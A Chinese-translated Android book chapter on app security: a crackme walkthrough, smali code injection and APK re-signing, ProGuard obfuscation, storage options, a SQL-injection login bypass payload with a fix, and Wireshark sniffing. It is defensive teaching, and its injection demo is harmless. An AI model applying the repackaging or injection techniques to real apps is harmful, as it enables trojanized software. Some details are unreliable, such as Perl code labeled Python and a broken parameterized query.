这是一个应用程序的基本示例,但一个敏锐的读者会意识到,对于更复杂的应用程序,可能性也是巨大的。对于下一个练习,让我们下载一个 Crackme 并尝试玩玩它的 insight.exercise

注意

Crackmes 通常是为了测试程序员在逆向工程方面的知识而创建的程序。它提供了一种合法的方式来“破解”软件并练习绕过安全措施,因为这里没有真正的公司参与。它们经常被用在比赛中。

为了测试一个真实的逆向工程场景,我们需要下载以下 Crackme(需要注册):crackmes.de/users/deurus/android_crackme03/

下载后,解压并将在模拟器或设备上安装 APK 文件。启动后,它将显示以下屏幕:

APK 文件的剖析

这个特定的程序需要安装在真实设备上,因为在模拟器中,其中一个参数将始终是一组 0。但对于我们的目的,它将正常工作。

我们应用与之前在 HelloWorld 应用程序中相同的步骤(转换为 JAR,然后用 JD-GUI 打开)。打开后,导航到文件 HelloAndroid。我们将看到以下代码:

APK 文件的剖析

这是一组代码,它不能直接编译。它充满了随机的断点和奇怪的返回及条件。然而,我们可以将其重新组织在编译器中以显示基础内容并理解它:

  1. 主屏幕上第一个和第二个 TextView 的值被取到两个变量中(str1str2)。

  2. 如果第一个字符串的长度小于 4,则进程会被终止,并显示带有文本 "min 4 chars"Toast

  3. 有两个字符串(str5str6),分别是设备 ID 和 SIM 卡序列号。

  4. 还有一些字符串的组合(str7str8),它们分别取 str5str6 的子串,还有一个应用了 EXOR 运算符的组合。

我们可以稍微重新组织一下代码,以确保它能够编译。我们可以在同一代码中指定我们提供的值,并运行它:

      String str1 = "MyName";
        int i = str1.length();
        String str2 = "";
        String str3 = "00000";
        while (true) {

            Toast.makeText(mainActivity, "Min 4 chars", 1).show();

            String str4 = String.valueOf(0x6B016 ^ Integer.parseInt(str2.substring(0, 5)));
            TelephonyManager localTelephonyManager = (TelephonyManager) mainActivity.getSystemService("phone");
            String str5 = localTelephonyManager.getDeviceId();
            String str6 = localTelephonyManager.getSimSerialNumber();
            String str7 = str5.substring(0, 6);
            String str8 = str6.substring(0, 6);
            long l = Integer.parseInt(str7) ^ Integer.parseInt(str8);
            if (!(str4 + "-" + String.valueOf(l) + "-" + str7).equals(str3)) {
                Toast.makeText(mainActivity, "God boy", 1).show();
            }

在你的设备上尝试这段代码,以从getDeviceId()getSimSerialNumber()函数中获取正确的信息。稍后将在 Crackme 中引入它们,显示的消息将是"God boy"(这里指的是上帝)。恭喜你。你刚刚使用逆向工程破解了你的第一个 Crackme。

代码注入

另一个大的安全风险是代码注入。当软件被故意修改以插入一段通常具有恶意的代码模块,执行非预期操作时,就会发生代码注入。这些非预期操作可能包括数据窃取、用户监控等等。因此,在这种情况下,确保应用程序被签名尤为重要。来自可信任制造商签名的应用程序不会包含注入的代码。

爱尔兰工程师 Georgie Casey 在 2013 年的一篇文章中证明了可怕的概念验证。他反编译了获奖的 Android 键盘 SwiftKey,并注入了一段代码,记录所有按键操作,并通过连接到公共网站的 Web 服务发送它们,在那里显示出来。他的目的是证明任何人都可以这样做,并将修改后的 APK 上传到替代商店之一。寻找免费 APK 的人可能已经下载并使用了它,在不知情的情况下将所有个人信息(密码和信用卡)发送到攻击者的 Web 服务。他在博客中详细解释了整个过程,这个过程有多么简单令人惊讶。在本节中,我们将展示如何修改基本的HelloWorld以插入一些新功能,但这个过程可以根据想象力扩展。

注意

坚持使用官方应用商店通常可以完全保护免受此类攻击。谷歌会使用一个名为Bouncer的系统自动扫描所有 APK,该系统能够检测并停用具有恶意意图的恶意软件和代码。此外,像 SwiftKey 这样的知名公司不会冒险发布包含 KeyLogger 来监视用户的应用程序,从而损害自己的声誉。

让我们回到在前几节中开发的类似于HelloWorld的程序。在这种情况下,我们需要另一个工具,即 apktool。之前,我们将应用程序转换成了 JAR,然后使用 JD-GUI 进行反编译。现在,我们将执行一个更精确的过程,直接将应用程序反汇编和组装成 Baksmali 和 Smali 格式(Android 虚拟机使用的格式)。Baksmali 和 Smali 在冰岛语中分别意味着反汇编器和汇编器(我们猜想谷歌的 Android 开发者主要来自冰岛,或者他们对这个国家有着强烈的热情,以至于给如此多的组件起名都与之相关)。关于这种格式没有太多的官方文档,所以现在推荐的了解它的方法是反编译应用程序。一如既往——实践胜于理论。

ibotpeaches.github.io/Apktool/下载 apktool。将其安全地下载到您的计算机上,然后从HelloWorld应用程序中取出 APK,并输入以下命令:

apktool d –r HelloWorld.apk HelloWorld

这将把当前的 APK 文件反汇编到HelloWorld文件夹中。如果我们进入该文件夹,我们会观察到以下结构:

  • AndroidManifest.xml:这是可读的文件

  • res/文件夹:包含所有解码内容的资源文件夹

  • smali/文件夹:这个文件夹包含所有源文件,是这一节最重要的文件夹

  • apktool.yml:apktool 的配置文件

让我们进入smali/文件夹看看。其结构可能类似于以下这样:

代码注入

对于 APK 中的每个类,我们已经创建了一个smali文件。还有一些其他文件,标记为class$name.smali。它们表示类文件内部的内部类(在我们的R类内部的类,这是生成用来访问 Android 资源的类)。smali(广义上)是 Java 文件的字节码表示。

现在是时候看看smali文件了。首先打开HelloWorldActivity.smali

.class public Lcom/test/helloworld/HelloWorldActivity;
.super Landroid/app/Activity;
.source "HelloWorldActivity.java"

# direct methods
.method public constructor <init>()V
    .locals 0

    .prologue
    .line 8
    invoke-direct {p0}, Landroid/app/Activity;-><init>()V

    return-void
.end method

# virtual methods
.method public onCreate(Landroid/os/Bundle;)V
    .locals 2
    .parameter "savedInstanceState"

    .prologue
    .line 12
    invoke-super {p0, p1}, Landroid/app/Activity;- >onCreate(Landroid/os/Bundle;)V

    .line 14
    new-instance v0, Landroid/widget/TextView;

    invoke-direct {v0, p0}, Landroid/widget/TextView;- ><init>(Landroid/content/Context;)V

    .line 15
    .local v0, text:Landroid/widget/TextView;
    const-string v1, "Hello World, Android"

    invoke-virtual {v0, v1}, Landroid/widget/TextView;- >setText(Ljava/lang/CharSequence;)V

    .line 16
    invoke-virtual {p0, v0}, Lcom/test/helloworld/HelloWorldActivity;- >setContentView(Landroid/view/View;)V

    return-void
.end method

如果我们阅读这个文件,会看到一些熟悉的实例和名称:似乎有很多 Android 类,如ActivityTextView,还有像setContentView()这样的 Android 方法。文件开头三行看起来是一个类声明,之后是一个构造函数声明,最后是onCreate()方法。

如果我们熟悉某种机器编程,就会知道寄存器(分配空间以插入信息)的含义。我们可以在如下这样的行中观察到这一点:

new-instance v0, Landroid/widget/TextView;
.local v0, text:Landroid/widget/TextView;
const-string v1, "Hello World, Android"

在前面的代码中,执行了不同类型的操作(创建变量并访问它),使用了一些寄存器的方向——在这里使用了v0v1方向。

操作码

操作码很容易推断,它是机器上要执行的操作代码。与其它语言和技术相比,Dalvik 的操作码集合并不庞大(我们可以访问以下 URL 作为参考,其中包含大部分操作码:pallergabor.uw.hu/androidblog/dalvik_opcodes.html)。反编译 Java/Dalvik 的优点在于操作码集合较小,容易推断,因此更容易自动化反编译工具。我们刚才反编译的代码中包含的一些操作码有:

  • invoke-super:调用super方法

  • new-instance:创建一个变量的新实例

  • const-string:创建一个字符串常量

  • invoke-virtual:调用一个virtual方法

  • return-void:返回 void

注入新代码

在这个阶段,我们可能已经推断出注入代码的过程包括从功能应用创建 smali 代码并将其注入正确的位置。注意寄存器的编号以避免覆盖并使之前的代码失去功能,这一点很重要。

例如,如果我们创建一个在屏幕上显示吐司的函数,编译 APK 并进行反汇编,我们最终会得到一些类似于以下内容的代码(忽略创建应用和活动的部分):

invoke-virtual {p0}, Lcom/test/helloworld/HelloWorldActivity;- >getApplicationContext()Landroid/content/Context;

move-result-object v1

const-string v2, "This is a Disassembled Toast!"

const/4 v3, 0x0

invoke-static {v1, v2, v3}, Landroid/widget/Toast;- >makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;

move-result-object v1

invoke-virtual {v1}, Landroid/widget/Toast;->show()V

在我们的案例中,覆盖寄存器没有问题。现在让我们修改原始文件,我们得到的结果类似于以下内容:

.class public Lcom/test/helloworld/HelloWorldActivity;
.super Landroid/app/Activity;
.source "HelloWorldActivity.java"

# direct methods
.method public constructor <init>()V
    .locals 0

    .prologue
    .line 8
    invoke-direct {p0}, Landroid/app/Activity;-><init>()V

    return-void
.end method

# virtual methods
.method public onCreate(Landroid/os/Bundle;)V
    .locals 2
    .parameter "savedInstanceState"

    .prologue
    .line 12
    invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

    .line 14
    new-instance v0, Landroid/widget/TextView;

    invoke-direct {v0, p0}, Landroid/widget/TextView;- ><init>(Landroid/content/Context;)V

    .line 15
    .local v0, text:Landroid/widget/TextView;
    const-string v1, "Hello World, Hacked Android"

    invoke-virtual {v0, v1}, Landroid/widget/TextView;- >setText(Ljava/lang/CharSequence;)V

    .line 16
    invoke-virtual {p0, v0}, Lcom/test/helloworld/HelloWorldActivity;- >setContentView(Landroid/view/View;)V

invoke-virtual {p0}, Lcom/test/helloworld/HelloWorldActivity;- >getApplicationContext()Landroid/content/Context;

move-result-object v1

const-string v2, " This is a Disassembled Toast!"

const/4 v3, 0x0

invoke-static {v1, v2, v3}, Landroid/widget/Toast;- >makeText(Landroid/content/Context;Ljava/lang/CharSequence;I) Landroid/widget/Toast;

move-result-object v1

invoke-virtual {v1}, Landroid/widget/Toast;->show()V

return-void
.end method

注意,注册表中v1的常量字符串也已经修改,现在包含文本"Hello World, Hacked Android!"

签名与重新构建应用

应用最后修改后,是时候重新构建应用了。类似于我们如何反汇编应用,我们将应用以下命令来重新构建它(请注意,您需要处于反汇编应用文件夹中才能重新构建它):

apktool b ./HelloWorld

这个命令将在dist文件夹中创建一个名为HelloWorld.apk的文件。然而,还有一件重要的事情要做:签名应用。我们刚才创建的 APK 尚未签名,还不能在任何设备上安装。

首先,我们需要一个keystore来进行签名。如果我们还没有,需要使用如keytool这样的程序来生成一个:

keytool -genkey -v -keystore example.keystore -alias example_alias -keyalg RSA -validity 100000

我们需要输入一些密钥信息。虽然这不是严格要求的,因为唯一目的是作为一个重新打包 APK 的演示,我们仍然需要注意输入的密钥,因为下一步我们需要使用它。生成后,使用jarsigner对生成的 APK 进行签名的过程非常简单:

jarsigner -verbose -keystore example.keystore ./HelloWorld/dist/HelloWorld.apk alias_name

我们最终的应用将展示以下界面:

签名与重新构建应用

保护我们的应用

我们已经看到,如果没有适当的措施,反编译和重新编译应用程序是微不足道的。目的不仅仅是为了将应用程序当作自己的,我们还可以轻松访问不应被每个人访问的令牌和代码。

在本章中,我们将探讨不同的想法,但主要的是应用混淆。混淆是使代码对人类不可读,减慢或停止理解的过程。在某些领域,混淆是一件大事,甚至还有创建最佳混淆机制的竞赛。以下是一个 Python 语言中混淆代码的示例,它会在屏幕上显示文本 "Just another Perl / Unix hacker"(此示例来自维基百科,en.wikipedia.org/wiki/Obfuscation_(software)):

@P=split//,".URRUU\c8R";@d=split//,"\nrekcah xinU / lreP rehtona tsuJ";sub p{ @p{"r$p","u$p"}=(P,P);pipe"r$p","u$p";++$p;($q*=2)+=$f=!fork;map{$P=$P[$f^ord ($p{$_})&6];$p{$_}=/ ^$P/ix?$P:close$_}keys%p}p;p;p;p;p;map{$p{$_}=~/^[P.]/&& close$_}%p;wait until$?;map{/^r/&&<$_>}%p;$_=$d[$q];sleep rand(2)if/\S/;print

特别是 Android,以及更广泛的 Java,使用 ProGuard 作为默认机制来对源代码应用混淆。在 Android 应用中激活 ProGuard 是很简单的。让我们导航到 build.gradle。我们很可能有一些定义好的 buildTypes(releasedebug 是最常见的)。一种常见的做法是只为 release buildType 激活 ProGuard:

release { 
      debuggable false 
      minifyEnabled true 
      proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' 
      signingConfig signingConfigs.release 
}

minifyEnabled true 将激活 ProGuard 使我们的发布版本生效。让我们看看一个典型的与 Android 一起使用的 ProGuard 文件是什么样的:

-injars      bin/classes
-injars      libs
-outjars     bin/classes-processed.jar
-libraryjars /usr/local/java/android-sdk/platforms/android-9/android.jar

-dontpreverify
-repackageclasses ''
-allowaccessmodification
-optimizations !code/simplification/arithmetic
-keepattributes *Annotation*

-keep public class * extends android.app.Activity
-keep public class * extends android.app.Application
-keep public class * extends android.app.Service
-keep public class * extends android.content.BroadcastReceiver
-keep public class * extends android.content.ContentProvider

-keep public class * extends android.view.View {
    public <init>(android.content.Context);
    public <init>(android.content.Context, android.util.AttributeSet);
    public <init>(android.content.Context, android.util.AttributeSet, int);
    public void set*(...);
}

-keepclasseswithmembers class * {
    public <init>(android.content.Context, android.util.AttributeSet);
}

-keepclasseswithmembers class * {
    public <init>(android.content.Context, android.util.AttributeSet, int);
}

-keepclassmembers class * extends android.content.Context {
   public void *(android.view.View);
   public void *(android.view.MenuItem);
}

-keepclassmembers class * implements android.os.Parcelable {
    static ** CREATOR;
}

-keepclassmembers class **.R$* {
    public static <fields>;
}

-keepclassmembers class * {
    @android.webkit.JavascriptInterface <methods>;
}

ProGuard 通常需要为新添加的库包含一个自定义配置,特别是使用反射的库。在 Android Studio 项目中,ProGuard 文件将定期更新。

自从支持库 19.1 版本以来,函数 @Keep 被包含在注释库的一部分中。这个注释可以用来指定一个方法不应该被混淆。当我们通过反射访问方法时,这特别有用。

不安全的存储

存储是将信息保存到我们的设备或计算机的过程。Android API 基本上提供了五种不同的存储类型:

SharedPreferences

第一种也是最基本的是 SharedPreferences。这种存储类型将信息保存为 XML 文件,在私有文件夹中,我们保存的作为与每个值相关联的原始对。在下面的屏幕截图中,我们可以看到 shared_prefs 文件夹下的所有文件。这些文件是 SharedPreferences 文件。

SharedPreferences

如果我们从设备中提取其中一个,我们将能够看到以下内容:

SharedPreferences

XML 文件内的每个值都有以下结构:

<string name="AppStateRepository:AppVersion">2.0.0_1266 p P 1/11/16 10:53 AM</string>

名称是由文件名和变量名(我们用来存储值的名称)的组合构成的。原始类型 SharedPreference 也在 XML 标签内被界定(例如,<string…</string>)。最后,值包含在值字段内。

为了存储 SharedPreferences,我们需要使用类似于以下代码段的代码:

SharedPreferences settings = getSharedPreferences("NameOfPreferences", 0);
SharedPreferences.Editor editor = settings.edit();
editor.putBoolean("exampleValue", false);

为了提交更改,我们需要:

editor.commit();

为了恢复我们刚才存储的值,我们需要进行如下操作:

SharedPreferences settings = getSharedPreferences("NameOfPreferences", 0);
boolean exampleValue = settings.getBoolean("exampleValue", false);

InternalStorage(内部存储)

另一种是 InternalStorage。这意味着将信息存储在设备的内部内存中;只能由应用程序访问。如果用户卸载应用程序,此文件夹也将被卸载。

这是我们如何在 InternalStorage 中存储信息的方法:

String FILENAME = "hello_file";
String name = "hello world!";

FileOutputStream fos = openFileOutput(FILENAME, Context.MODE_PRIVATE);
fos.write(name.getBytes());
fos.close();

上述代码段将会在名为 hello_file 的文件中存储字符串 "hello_world"

存储文件有不同的模式,不仅仅是我们在本段中看到的 MODE_PRIVATE

  • MODE_APPEND:这个模式意味着如果文件已经存在,它将在文件末尾添加内容,而不是覆盖它。

  • MODE_WORLD_READABLE:这是一个危险的文件模式,因为它可以被整个系统读取,可能会造成安全漏洞。如果你想使用一种在应用程序之间共享信息的方法,最好使用 Android 内置的机制之一。这个模式为整个系统提供了对文件的读取模式。

  • MODE_WORLD_WRITEABLE:这与之前提到的类似,但在这个情况下,它提供了写入权限。

内部文件还有一个有趣的用途。如果我们使用 getCacheDir() 函数打开它们,可以作为缓存机制。通过这种方式打开文件,我们告诉 Android,当系统内存不足时,可以收集这个文件。请注意,不能 100%保证 Android 会收集这个文件。因此,除了依赖系统,你应该始终确保文件不会超过一定大小。当用户卸载应用程序时,这些文件将被自动删除:

InternalStorage

注意

data/data 文件夹受到保护,未 root 的设备无法访问(它们被称为私有存储)。然而,如果设备被 root 了,它们可以很容易地被读取。这就是为什么我们绝不能在那里存储关键信息。

ExternalStorage(外部存储)

与之前研究的内部文件类似,ExternalStorage 将创建一个文件,但它不是保存到私有文件夹中,而是保存到外部文件夹中(通常是 SD 卡)。为了使用 ExternalStorage,我们需要两个权限:

<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"
android:maxSdkVersion="18" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"
android:maxSdkVersion="18" />

注意这一行 android:maxSdkVersion="18"。从 API 级别 18 开始,应用程序不再需要写入 ExternalStorage 的权限。然而,由于 Android 极度碎片化,这样做是一个好主意。

读者可能已经想象到,这些权限用于分别写入和读取 ExternalStorage。

为了写入或读取 ExternalStorage,我们首先需要证明它是可用的(例如,可能会发生存储单元未挂载的情况,因此我们的应用程序将无法写入):

public boolean checkIfExternalStorageIsWritable() {
String state = Environment.getExternalStorageState();
if (Environment.MEDIA_MOUNTED.equals(state)) {
     return true;
}
     return false;
}

public boolean checkIfExternalStorageIsReadable() {
   String state = Environment.getExternalStorageState();
   if (Environment.MEDIA_MOUNTED.equals(state) ||
   Environment.MEDIA_MOUNTED_READ_ONLY.equals(state)) {
      return true;
   }
   return false;
}

当确认我们可以访问存储系统后,我们可以继续进行文件的读取或写入操作。在文件中写入内容的过程与 Java 中的操作非常相似:

String filename = FILENAME;
File file = new File(Environment.getExternalStorageDirectory(), filename);
FileOutputStream fos;

fos = new FileOutputStream(file);
fos.write(mediaTagBuffer);
fos.flush();
fos.close();

同样,如果我们想要从 ExternalStorage 中读取文件,可以使用类似的代码片段:

File file = new File(Environment.getExternalStorageDirectory()
.getAbsolutePath(), filename);

删除文件

请记住,使用 ExternalStorage 时,当应用程序被移除时,文件不会被删除。如果应用程序设计不当,我们可能会因为永远不会使用的文件而占用大量空间。

通常的做法是将备份信息存储在 ExternalStorage 中,但你应该问自己这是否是最好的选择。为了评估是否应该使用 ExternalStorage,首先查询设备上可用的自由空间是一个好习惯:

File path = Environment.getExternalStorageDirectory();
StatFs stat = new StatFs(path.getPath());
long blockSize = stat.getBlockSize();
long availableBlocks = stat.getAvailableBlocks();
return Formatter.formatFileSize(this, availableBlocks * blockSize);

可以通过调用以下命令轻松删除文件:

file.delete();

使用外部或内部存储

既然我们知道了这两种可能性,读者可能会询问哪个地方是存储信息的理想选择。

没有银弹,也没有完美答案。答案可能会根据你的限制和试图解决的问题场景而有所不同。然而,请记住以下总结点:

  • 即使应用程序被移除,ExternalStorage 中保存的文件仍然存在。另一方面,当应用程序被移除时,InternalStorage 中保存的所有文件也会被移除。

  • InternalStorage 总是可用的。ExternalStorage 的可用性则取决于设备。

  • InternalStorage 提供了更好的保护级别,防止外部访问文件,而 ExternalStorage 中的文件可以从整个应用程序普遍访问。请记住,已获得 root 权限的设备可以随时访问 InternalStorage 和 ExternalStorage。

数据库

Android 原生支持 SQLite 数据库。使用数据库存储的文件保存在一个私有文件夹(/data/data)。Android 原生提供了 SQLiteOpenHelper 对象,可用于存储到表格中。让我们看看使用 SQLiteOpenHelper 的代码示例:

public class ExampleOpenHelper extends SQLiteOpenHelper {

   private static final int DATABASE_VERSION = 2;
   private static final String EXAMPLE_TABLE_NAME = "example";
   private static final String EXAMPLE_TABLE_CREATE =
           "CREATE TABLE " + EXAMPLE_TABLE_NAME + " (" +
           KEY_WORD + " TEXT, " +
           KEY_DEFINITION + " TEXT);";

   ExampleOpenHelper (Context context) {
      super(context, DATABASE_NAME, null, DATABASE_VERSION);
   }

   @Override
   public void onCreate(SQLiteDatabase db) {
      db.execSQL(EXAMPLE_TABLE_CREATE);
   }
}

如果数据库版本已经升级,我们可以使用 onUpgrade() 方法来更新数据库架构或在应用程序中执行任何需要的操作。以下截图展示了设备上安装的谷歌应用程序中的一个文件夹数据库:

数据库

数据库性能

在 Android 中,可以对 SQLite 数据库进行多项性能优化。这里我们提到其中的一些:

  • 如果你的应用程序正在执行单一事务块,使用 db.beginTransaction();db.endTransaction(); 进行数据传输。默认情况下,每次你执行事务时,SQLite 运行时都会创建一个包装器,这使得操作成本变高。这仅在当你将此操作作为常规操作执行时(例如,在循环或迭代内部)建议使用。

  • 在性能方面,关系是昂贵的。即使你使用了索引,处理关系所需的开销和努力也是相当大的,这很可能会明显减慢你的应用程序。

  • 尽可能简化模式,避免不必要的属性。另一方面,模式也不应该过于通用——这会牺牲性能。在模式的代表性和性能之间取得平衡是困难的,但这对于数据库的生存至关重要。

  • 避免为需要频繁访问的表创建视图。如果发生这种情况,有时创建一个特定的表并将所有信息存储在那里会更好。

  • 尽可能使用 SQLiteStatement。从名字可以推断出,SQLiteStatement 是直接针对数据库执行的 SQL 语句。它能够显著提高性能和速度,尤其是与这个列表中的第一点结合使用时。

SQL 注入

与所有数据库系统一样,Android 中的 SQLite 也可能遭受 SQL 注入。

当恶意数据被插入到合法查询中时,就会发生 SQL 注入,通常会对数据库产生严重影响。一个例子可以更好地说明这一点:

public boolean checkLogin(String username, String password) {
   boolean bool = false;
   Cursor cursor = db.rawQuery("select * from login where USERNAME = 
      '" + username + "' and PASSWORD = '" + password + "';", null);

   if (cursor != null) {
      if (cursor.moveToFirst())
      bool = true;
      cursor.close();
   }
   return bool;
}

假设输入变量 usernamepassword 来自一个表单,用户需要输入它们。在正常情况下,我们预计 SQL 查询会变成这样:

select * from login where USERNAME = 'username' and PASSWORD = 'password'

但让我们假设一下,如果我们的用户是一个恶意的用户,他打算访问我们的数据库。他们可能会输入:

select * from login where USERNAME = '' OR 1=1 --' and PASSWORD = 'irrelevant'

由于他输入的条件是 (1=1) 并且查询的其余部分被注释掉,他实际上可以在不知道任何密码的情况下登录系统。为了防止 SQL 注入,最好的方法是清理正在输入的数据,并默认认为它不可信。为了做到这一点,我们将上述代码片段改成了以下形式:

public boolean checkLogin(String username, String password) {
   boolean bool = false;
   Cursor cursor = db.rawQuery("select * from login where USERNAME = 
      ? and PASSWORD = ", new String[]{param1, param2});

   if (cursor != null) {
      if (cursor.moveToFirst())
      bool = true;
      cursor.close();
   }
   return bool;
}

通过使用这个简单的方法,我们避免了恶意用户接管我们数据库的可能性。

ORM 框架

除了在 Android 中处理 SQL 存储的纯方法之外,还有一种流行的处理方式称为 ORM 框架。尽管 ORM(对象关系映射)是一个旧范式,但它简化了处理 ORM 对象的任务,将我们从低级查询中抽象出来,使我们能够专注于应用程序的细节。几乎每种语言都有几个 ORM 框架:Java 中的 Hibernate,Ruby 中的 ActiveRecord 等等。Android 有一系列可用于 ORM 目的库:实际上,Android Arsenal 提供了令人惊叹的开源库集合。在这里,我们提供一些库的小例子来展示它们是如何工作的;当然,评估所有利弊并决定是否将其实现到自己的项目中,是读者的责任。

OrmLite

OrmLite 是一个基于 Java 的开源框架,提供了 ORM 功能。请注意,它的名称不是 Android ORM Lite,这意味着它并非专门为 Android 设计的。OrmLite 大量使用注解。让我们看看使用 OrmLite 时类是什么样的一个例子:

@DatabaseTable(tableName = "books")
public class Book {
    @DatabaseField(id = true)
    private String isbn;
    @DatabaseField(id = true)
    private String title;
    @DatabaseField
    private String author;

    public User() {

    }
    public Book(String isbn, String title, String author) {
        this.isbn = isbn;
        this.title = title;
        this.author = author;
    }

    public String getIsbn() {
        return this.isbn;
    }
    public void setIsbn(String isbn) {
        this.isbn = isbn;
    }
    public String getTitle() {
        return this.title;
    }
    public void setTitle(String title) {
        this.title = title;
    }
    public String getAuthor() {
        return this.author;
    }
    public void setAuthor(String author) {
        this.author = author;
    }

}

OrmLite 在以下仓库中可以找到适用于 Android 的版本:

github.com/j256/ormlite-android

SugarORM

SugarORM 是一个专门为 Android 开发的 ORM 引擎,可以从 satyan.github.io/sugar/index.html 下载。如果你在一个使用 Gradle 的应用程序中,它甚至更容易,你只需在你的 Gradle 构建文件中添加一行:

compile 'com.github.satyan:sugar:1.4'

而 SugarORM 将会自动添加到你的项目中。现在是时候更新你的 AndroidManifest.xml 文件了:

  <meta-data android:name="DATABASE" android:value="sugar_example.db" />
    <meta-data android:name="VERSION" android:value="2" />
    <meta-data android:name="QUERY_LOG" android:value="true" />
    <meta-data android:name="DOMAIN_PACKAGE_NAME" android:value="com.example" />

这样,我们创建的类似于前面一个的 Book 类看起来是这样的:

public class Book extends SugarRecord<Book> {
    String isbn;
    String title;
    String author;

    public Book() { }

    public Book(String isbn, String title,String author){
        this.isbn = isbn;
        this.title = title;
        this.author = author;
    }
}

在模型创建后添加用户再简单不过了:

Book exampleBook = new Book(getContext(),"isbn","title","author"); exampleBook.save(); 

GreenDAO

GreenDAO 可以说是 Android 上最快、性能最好的 ORM 引擎。它专门为 Android 设计,因此其开发考虑到了 Droid 平台的特殊性,帮助 ORM 引擎的速度比 OrmLite 快达 4.5 倍。下面的图表来自 GreenDao 的官方网站,它展示了与 OrmLite 在三种不同情况下(插入语句、更新语句或加载实体)的性能比较。

GreenDAO

Realm

Realm 是一个相对较新的 ORM 引擎,被提议作为 SQLite(以及 iOS 中的 CoreData)的替代品。Realm 并不是建立在 SQLite 之上,而是建立在它自己的持久化引擎之上。这个引擎的一个优点是它是多平台的,因此可以轻松地在不同的技术之间复用。据说它非常轻量级且快速。它具有简单和简约的本质,如果我们需要执行复杂操作,这也可能是一个缺点。以下面的 Book 示例,这就是我们如何使用 Realm 处理它:

Realm realm = Realm.getInstance(this.getContext());
realm.beginTransaction();
Book book = realm.createObject(Book.class);
book.setIsbn("1111111x11");
book.setTitle("Book Title");
book.setAuthor("Book author");
realm.commitTransaction();

网络

将数据存储在云上、自己的后端或任何其他在线解决方案,如果操作得当(阅读下一节关于与服务器通信时加密的内容),在安全性方面将是最佳选择。为了执行网络操作,Android 默认提供了一些类,同时还有许多框架和库可以提供高级别的层来创建 HTTP 请求。

加密通信

我们怎么强调都不过分,在创建 Web 服务以及与应用程序通信时使用加密的通信渠道有多么重要。

最初,它旨在作为科学机构之间交换文档和信息的协议,因此那时安全性不是一个重要问题。

互联网发展得非常快,最初受限的 HTTPs 突然面临数百万用户之间的互动。有许多资源可以讨论 SSL 以及加密是如何进行的。为了本书的目的,我们将提到 HTTPS(代表HTTP Secure,即 SSL 上的 HTTP)下的通信通常能够抵御中间人攻击,并且不容易被嗅探。然而,攻击者仍然有一些方法可以破解通信通道并窃取通信内容,但这需要更深入的知识和对受害者的访问权限。不过,我们将会提到它们,以防读者想要研究。

嗅探

嗅探是攻击者用来从网络连接中收集信息的主要过程。有趣的是,为了嗅探其他设备的流量,你不需要欺骗它们并让它们连接到你的网络。只需连接到同一个网络就可以轻松完成。

要做到这一点,你需要从其官方网站www.wireshark.org/下载 Wireshark。根据你尝试安装的操作系统的不同,你可能还需要下载一些其他软件包。在无线网卡上开启监控或混杂模式。在 Linux 和各种 BSD 系统中(包括 Macintosh),这个过程相当简单。在 Windows 上,这个过程可能会相当复杂,有时需要特殊的无线网卡或工具。

当我们第一次启动 Wireshark 时,将会显示一个类似的屏幕:

Sniffing

在屏幕中央,将会显示所有可供监控的不同接口列表。这可能因机器而异,但在上一个列表中我们可以看到:

  • Wi-Fi 接口

  • Vboxnet 是与虚拟机对应的接口

  • 来自 Macintosh 计算机的 Thunderbolt 接口

  • lo0 或回环是本地机器

  • 苹果无线直接链接接口awdl

为了测试目的,我们将启动一个模拟器,并选择要监控的 Wi-Fi 接口。

注意

请注意,在你没有权限的网络中嗅探流量,在最好的情况下可能是不友好的行为。在最坏的情况下,你可能会犯下罪行。在将这一知识付诸实践之前,请检查你所在国家或地区的法律情况。

现在让我们从设备开始浏览。如果我们启动浏览器并访问一个没有任何保护的网站,我们将能够显示浏览器执行的所有不同请求:带有其 cookies 的 HTTP GET 操作、不同的资源等等:

嗅探

在前面的屏幕截图中,我们可以看到 cookies、用户代理、主机……几乎整个 HTTP 请求都是透明的!这就是当我们尝试连接到一个没有 SSL 的 URL 时发生的情况。如果你检查设备上安装的应用程序,你会发现经常有一些应用程序没有使用任何加密,只是以纯文本形式发送信息。

总结

本章节分析了应用程序中的安全措施。安全本身是一个复杂的主题,其内容可以扩展到多本书籍。阅读完本章后,读者将了解数据可能被截获的方式。他们将能够安全地存储信息。可以对代码进行渗透分析,反之,也可以检查应用程序是否在无意中暴露敏感信息。

ProGuard 是一个广泛用于保护我们应用程序的工具。我们建议读者进一步查看官方文档。

在阅读本章之后,读者应该熟悉在 Android 中安全存储信息的所有不同选项,以及它们的优缺点。读者应该能够识别 SQL 注入并知道如何预防。

读者还将了解到,当网络没有得到正确保护时,嗅探流量的可能性。他们将熟悉 Wireshark 及其所提供的可能性。

安全是一个庞大的话题,许多公司和研究组织都在积极投资资源以检测和预防隐私和安全问题。由于篇幅有限,我们未能提及许多其他商业和开源工具。对于感兴趣的用户,我们建议阅读 OWASP 通讯。

第八章:优化电池消耗

电池消耗和使用是开发高性能移动平台应用程序的关键部分。在桌面上,我们不需要特别关心使用的能量量,因为有一个永久的能源连接,但在移动设备上情况不同,我们需要关注这一点。

在移动设备上,电池平均可以使用高达 36 小时,而这个时间随着手机变旧而减少。这是一个特别短的时间,使得我们的设备依赖于接近电源。尽管摩尔定律几乎仍然在实现中,处理能力/单位成本的关系大约每 18 个月翻一番,但电池技术的改进速度每年大约提高 5%。目前有一些关于超级电容器的持续研究,这是近期最有望的希望,但我们正在接近电化学的理论极限。无论如何,电池限制似乎将与我们同在,学习如何处理和操作它们似乎是最明智的做法。

电池耗尽是用户不满的常见原因,通常会导致我们的应用程序在谷歌 Play 商店得到差评。据说“好事写在沙子上,而坏事刻在石头上。”如果你的应用程序持续耗尽设备资源,最终会被卸载,导致不良的在线印象。我们不知道用户是否会通过负责任地使用电池和能源,在沙子上留下好的印象,但我们知道,通过遵循本章关于电池使用的指示,用户会更快乐,你将为更健康的应用程序生态系统做出贡献。

分析

在我们开始寻找问题的解决方案之前,需要进行一步分析。在你的安卓设备上,前往设置,然后点击电池。会出现一个类似下图的界面:

分析

这是一个有用的分析工具,用于确定哪个应用程序正在错误或过度地使用电池。第一部分,电池模式,包含三种不同的电池使用模式:

  • 省电模式:此模式理解你的设备没有迫切需要节省电池使用。因此,其使用量不会减少。

  • 平衡:默认激活的中间级别。

